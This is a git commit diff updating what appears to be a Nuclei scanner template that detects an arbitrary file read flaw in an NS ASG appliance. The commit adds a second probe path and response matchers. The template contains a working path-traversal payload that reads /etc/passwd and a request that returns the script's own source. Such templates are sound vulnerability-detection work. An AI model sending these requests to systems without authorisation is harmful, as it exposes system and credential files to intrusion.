Update ns-asg-file-read.yaml

patch-1
Ritik Chaddha 2022-04-07 14:14:15 +05:30 committed by GitHub
parent 2a46f341a6
commit 37dc09b55b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 1 deletions

View File

@ -2,7 +2,7 @@ id: nsasg-arbitrary-file-read
info:
name: NS ASG Arbitrary File Read
author: pikpikcu
author: pikpikcu, ritikchaddha
severity: high
reference: https://zhuanlan.zhihu.com/p/368054963
tags: nsasg,lfi
@ -11,6 +11,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"
- "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php"
matchers-condition: and
matchers:
@ -19,6 +20,12 @@ requests:
regex:
- "root:.*:0:0:"
- type: word
part: body
words:
- "$certfile"
- "application/pdf"
- type: status
status:
- 200